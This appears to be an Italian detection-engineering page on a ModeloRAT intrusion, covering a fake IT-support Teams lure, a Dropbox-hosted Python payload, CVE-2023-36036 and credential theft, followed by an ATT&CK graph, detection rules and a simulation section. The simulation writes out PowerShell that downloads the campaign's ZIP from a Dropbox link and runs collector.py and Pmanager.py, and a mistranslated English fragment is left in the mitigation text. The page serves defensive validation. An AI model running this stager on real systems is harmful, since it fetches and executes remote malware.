Analisi di una Campagna ModeloRAT: dal Phishing su Teams alla Compromissione del Dominio
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Rapid7 ha analizzato un’intrusione iniziata con un messaggio dannoso su Microsoft Teams che si spacciava per supporto IT. L’attaccante ha utilizzato un payload Python ospitato su Dropbox per distribuire ModeloRAT, elevare i privilegi tramite CVE-2023-36036, e rubare credenziali di dominio presentando una schermata di blocco falsa alla vittima. La campagna ha mostrato quanto velocemente un attaccante possa passare da un singolo endpoint compromesso al furto di credenziali su vasta scala nel dominio, facendo affidamento su tecniche ‘living-off-the-land’. L’incidente sottolinea anche il crescente rischio posto dalle piattaforme di collaborazione come vettore di accesso iniziale.
Indagine
L’indagine ha seguito l’intera catena di attacchi dalla conversazione iniziale su Teams ad uno stager PowerShell che ha scaricato un archivio ZIP da Dropbox, ha estratto un ambiente Python portabile e lanciato collector.py and Pmanager.py. ModeloRAT ha quindi stabilito un beaconing HTTP verso diversi server di comando e controllo, effettuato ricognizione ospite e utilizzato rundll32 per attivare un exploit kernel che ha concesso l’accesso a livello di SISTEMA. La persistenza è stata mantenuta tramite un’attività pianificata, e gli attaccanti hanno distribuito componenti di backdoor aggiuntivi durante l’intrusione.
Mitigazione
Le organizzazioni dovrebbero applicare controlli stretti sull’accesso esterno in Microsoft Teams, monitorare attività insolita di PowerShell e Python, bloccare URL Dropbox noti come dannosi e assicurarsi che i sistemi siano aggiornati contro CVE-2023-36036. Politiche di controllo delle applicazioni che limitano l’uso non autorizzato possono aiutare a ridurre il rischio di sfruttamento. I team di sicurezza dovrebbero anche osservare comportamenti di schermata di blocco finta e altri segni di attività di acquisizione delle credenziali sugli endpoint. rundll32 usage can help reduce exploitation risk. Security teams should also watch for fake lock-screen behavior and other signs of credential-harvesting activity on endpoints.
Risposta
Se viene rilevata questa attività, isolare immediatamente l’endpoint interessato, revocare le credenziali dell’utente compromesso e reimpostare le password del dominio impattate. Gli investigatori dovrebbero raccogliere catture di memoria complete, inclusa l’evidenza relativa a LSASS dove appropriato, cercare artefatti di ModeloRAT e rimuovere eventuali attività pianificate dannose o meccanismi di persistenza. Anche le impostazioni del tenant di Teams dovrebbero essere riviste e le chat esterne disabilitate se non sono operativamente necessarie.
"graph TB %% Definizioni delle Classi classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% Nodi di Azione action_phishing["<b>Azione</b> – <b>T1566.003 Phishing: Spearphishing via Servizio</b><br/>Messaggio di Microsoft Teams che impersona il supporto IT con link malevolo."] class action_phishing action action_impersonation["<b>Azione</b> – <b>T1656 Impersonificazione</b><br/>Account falso di supporto IT creato per apparire legittimo."] class action_impersonation action action_content_injection["<b>Azione</b> – <b>T1659 Iniezione di Contenuto</b><br/>Messaggio contiene comando PowerShell che avvia catena di infezione."] class action_content_injection action action_user_execution["<b>Azione</b> – <b>T1204 Esecuzione Utente</b><br/>La vittima clicca sul link o copia e incolla lo stager PowerShell."] class action_user_execution action action_software_discovery["<b>Azione</b> – <b>T1518 Scoperta del Software</b><br/>collector.py enumera software installati, patch e configurazioni."] class action_software_discovery action action_security_discovery["<b>Azione</b> – <b>T1518.001 Scoperta dei Software di Sicurezza</b><br/>Lo script controlla processi AV come SecurityHealthHost.exe."] class action_security_discovery action action_system_info["<b>Azione</b> – <b>T1082 Scoperta delle Informazioni di Sistema</b><br/>systeminfo, whoami e altri comandi raccolgono dettagli dell’host."] class action_system_info action action_dll_loading["<b>Azione</b> – <b>T1176 Estensioni Software</b><br/>rundll32.exe carica DLL malevoli (ssss.dll, com6848.dll)."] class action_dll_loading action action_priv_esc["<b>Azione</b> – <b>T1068 Sfruttamento per Escalation di Privilegi</b><br/>Exploit CVEu20112023u201136036 in cldflt.sys ottiene token SYSTEM."] class action_priv_esc action action_defense_evasion["<b>Azione</b> – <b>T1211 Sfruttamento per Evasione della Difesa</b><br/>Exploit del kernel aggira i controlli di sicurezza."] class action_defense_evasion action action_persistence_active_setup["<b>Azione</b> – <b>T1547.014 Persistenza di Active Setup</b><br/>Chiavi di registro sotto SyncRootManager registrano fornitori di sincronizzazione cloud malevoli."] class action_persistence_active_setup action action_event_triggered["<b>Azione</b> – <b>T1546 Esecuzione Basata su Evento</b><br/>Il fornitore di sincronizzazione agisce come meccanismo di persistenza basato su evento."] class action_event_triggered action action_scheduled_task["<b>Azione</b> – <b>T1053 Attività Pianificata</b><br/>Attività quotidiana TempLogA esegue internal.py con privilegi SYSTEM."] class action_scheduled_task action action_path_interception["<b>Azione</b> – <b>T1574.007 Intercettazione del Percorso</b><br/>La directory Python portatile è posizionata prima nel PATH per assicurare l’esecuzione."] class action_path_interception action action_c2_http["<b>Azione</b> – <b>T1071.001 Protocollo Strato Applicativo: Protocolli Web</b><br/>ModeloRAT comunica con server C2 tramite porta HTTP 80."] class action_c2_http action action_nonstandard_port["<b>Azione</b> – <b>T1571 Porta Non Standard</b><br/>Canali reverse-shell aggiuntivi usano porte 50508 e 60503."] class action_nonstandard_port action action_winrm["<b>Azione</b> – <b>T1563 Acquisizione di Sessione di Servizio Remoto</b><br/>L’attaccante apre sessione WinRM per distribuire strumenti su secondo host."] class action_winrm action action_rdp["<b>Azione</b> – <b>T1078.002 Account Validati: Account di Dominio</b><br/>Credenziali raccolte utilizzate per accessi RDP."] class action_rdp action action_kerberoasting["<b>Azione</b> – <b>T1558.003 Kerberoasting</b><br/>Richieste di biglietti di servizio generano hash delle credenziali."] class action_kerberoasting action action_os_credential_dump["<b>Azione</b> – <b>T1003 Dump delle Credenziali del SO</b><br/>DumpIt.exe cattura memoria incluso LSASS."] class action_os_credential_dump action action_unsecured_credentials["<b>Azione</b> – <b>T1552.001 Credenziali Non Sicure</b><br/>DLL del blocca-schermo falso registra password acquisite su disco."] class action_unsecured_credentials action action_window_discovery["<b>Azione</b> – <b>T1010 Scoperta delle Finestre Applicative</b><br/>Replica del blocca-schermo imita la schermata di blocco di Windows per catturare input."] class action_window_discovery action action_bits_job["<b>Azione</b> – <b>T1197 Lavori BITS</b><br/>DumpIt scaricato ed eseguito tramite BITS."] class action_bits_job action %% Nodi di Strumento / File / Malware tool_powershell["<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Descrizione</b>: Esegue comando iniziale dello stager."] class tool_powershell tool tool_python["<b>Strumento</b> – <b>Nome</b>: Portable Python (pythonw.exe)<br/><b>Descrizione</b>: Esegue collector.py e Pmanager.py."] class tool_python tool tool_rundll32["<b>Strumento</b> – <b>Nome</b>: rundll32.exe<br/><b>Descrizione</b>: Carica payload DLL malevoli."] class tool_rundll32 tool tool_dumpit["<b>Strumento</b> – <b>Nome</b>: DumpIt.exe<br/><b>Descrizione</b>: Utility per l’acquisizione della memoria."] class tool_dumpit tool malware_collector["<b>Malware</b> – <b>Nome</b>: collector.py<br/><b>Descrizione</b>: Script Python iniziale che esegue la scoperta e lancia moduli successivi."] class malware_collector malware malware_pmanager["<b>Malware</b> – <b>Nome</b>: Pmanager.py (ModeloRAT)<br/><b>Descrizione</b>: Trojan di accesso remoto che comunica con C2."] class malware_pmanager malware file_ssss_dll["<b>File</b> – <b>Nome</b>: ssss.dll<br/><b>Descrizione</b>: DLL malevola caricata per escalation."] class file_ssss_dll file file_com6848_dll["<b>File</b> – <b>Nome</b>: com6848.dll<br/><b>Descrizione</b>: DLL malevola caricata per raccolta di credenziali."] class file_com6848_dll file file_lockdll["<b>File</b> – <b>Nome</b>: lockscreen.dll<br/><b>Descrizione</b>: Falso blocca-schermo che registra le password."] class file_lockdll file %% Connessioni u2013 Flusso dell’Attacco action_phishing –>|usa| action_impersonation action_impersonation –>|consegna| action_content_injection action_content_injection –>|attiva| action_user_execution action_user_execution –>|esegue| tool_powershell tool_powershell –>|lancia| tool_python tool_python –>|esegue| malware_collector tool_python –>|esegue| malware_pmanager malware_collector –>|esegue| action_software_discovery malware_collector –>|esegue| action_security_discovery malware_collector –>|esegue| action_system_info malware_pmanager –>|carica| tool_rundll32 tool_rundll32 –>|carica| file_ssss_dll tool_rundll32 –>|carica| file_com6848_dll file_ssss_dll –>|abilita| action_priv_esc file_com6848_dll –>|abilita| action_priv_esc action_priv_esc –>|fornisce| action_defense_evasion action_defense_evasion –>|stabilisce| action_persistence_active_setup action_persistence_active_setup –>|crea| action_event_triggered action_event_triggered –>|crea| action_scheduled_task action_scheduled_task –>|si basa su| action_path_interception action_path_interception –>|assicura l’esecuzione di| malware_pmanager malware_pmanager –>|comunica tramite| action_c2_http malware_pmanager –>|usa| action_nonstandard_port malware_pmanager –>|apre| action_winrm action_winrm –>|facilita| action_rdp action_rdp –>|sfrutta| action_kerberoasting action_kerberoasting –>|fornisce credenziali per| action_os_credential_dump action_os_credential_dump –>|eseguito da| tool_dumpit tool_dumpit –>|consegnato tramite| action_bits_job action_bits_job –>|supporta| action_os_credential_dump action_unsecured_credentials –>|implementato da| file_lockdll file_lockdll –>|cattura tramite| action_window_discovery action_window_discovery –>|scrive in| action_unsecured_credentials %% Styling class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file "
Flusso di Attacco
Rilevamenti
Possibile Enumerazione di Sistemi (via cmdline)
Visualizza
Possibile Enumerazione o Manipolazione di Account o Gruppi (via cmdline)
Visualizza
Schtask Punta a Directory / Binary / Script Sospetto (via cmdline)
Visualizza
Possibile Perdita di Credenziali NTLM tramite Percorso UNC Esterno Non Voluto (via cmdline)
Visualizza
Un Archivio è Stato Estratto In Una Directory Sospetta Usando Powershell (via powershell)
Visualizza
Possibile Enumerazione di Active Directory con Modulo AD DirectorySearcher (via powershell)
Visualizza
IOC (HashSha256) per rilevare: Quando il Supporto IT Chiama: Analisi di una Campagna ModeloRAT da Teams a Compromissione del Dominio
Visualizza
IOC (SourceIP) per rilevare: Quando il Supporto IT Chiama: Analisi di una Campagna ModeloRAT da Teams a Compromissione del Dominio
Visualizza
IOC (DestinationIP) per rilevare: Quando il Supporto IT Chiama: Analisi di una Campagna ModeloRAT da Teams a Compromissione del Dominio
Visualizza
Esecuzione Sospetta di Rundll32 per Elevazione di Privilegi e Raccolta di Credenziali [Creazione Processi Windows]
Visualizza
Download ed Esecuzione di Script Python Dannosi Tramite PowerShell [Windows Powershell]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo di Prevolo della Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento.
-
Narrativa e Comandi degli Attacchi:
- Primo Rilascio: L’attaccante, avendo ottenuto un appiglio sulla workstation della vittima, lancia PowerShell per recuperare un file ZIP dannoso ospitato su Dropbox. L’URL è codificato nella regola di rilevamento, quindi l’attaccante usa esattamente la stessa stringa per garantire il rilevamento (per scopi di convalida).
- Estrazione: Usando il cmdlet
Expand-Archive, l’archivio è estratto direttamente nella cartella%APPDATA%dell’utente, una posizione frequentemente trascurata dai difensori. - Esecuzione del Payload: Due script Python—
collector.pyandPmanager.py—sono eseguiti tramitepythonw.exe(l’interprete “senza finestra”) per evitare finestre console visibili, consentendo persistenza furtiva ed esfiltrazione dei dati.
Comandi esatti (devono corrispondere alla regola):
# 1. Scarica l'archivio ZIP iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip" # 2. Estrarre l'archivio Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA" # 3. Esegui il primo script Python Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py" # 4. Esegui il secondo script Python Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py" -
Script di Test di Regressione:
# ------------------------------------------------- # Test di Regressione – Imita il flusso di lavoro di PowerShell di ModeloRAT # ------------------------------------------------- $zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" $zipPath = "$env:APPDATAWinp.zip" $extractPath = $env:APPDATA $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" $collector = "$env:APPDATAWPy64-31401pythoncollector.py" $pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py" # Download Write-Host "[*] Download ZIP dannoso..." Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath # Estrarre Write-Host "[*] Estrazione archivio..." Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force # Eseguire collector.py Write-Host "[*] Avvio collector.py..." Start-Process -FilePath $pythonExe -ArgumentList $collector # Eseguire Pmanager.py Write-Host "[*] Avvio Pmanager.py..." Start-Process -FilePath $pythonExe -ArgumentList $pmanager Write-Host "[+] Simulazione completata. Verifica SIEM per avviso." -
Comandi di Pulizia:
# ------------------------------------------------- # Pulizia – Rimuovi artefatti creati dal test # ------------------------------------------------- $zipPath = "$env:APPDATAWinp.zip" $extractRoot = "$env:APPDATAWPy64-31401" $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" # Fermare eventuali processi pythonw in esecuzione da questo test Get-Process -Name pythonw -ErrorAction SilentlyContinue | Where-Object {$_.Path -like "*WPy64-31401*"} | Stop-Process -Force # Rimuovere la directory estratta if (Test-Path $extractRoot) { Remove-Item -Recurse -Force $extractRoot } # Rimuovere il file ZIP if (Test-Path $zipPath) { Remove-Item -Force $zipPath } Write-Host "[+] Pulizia completata."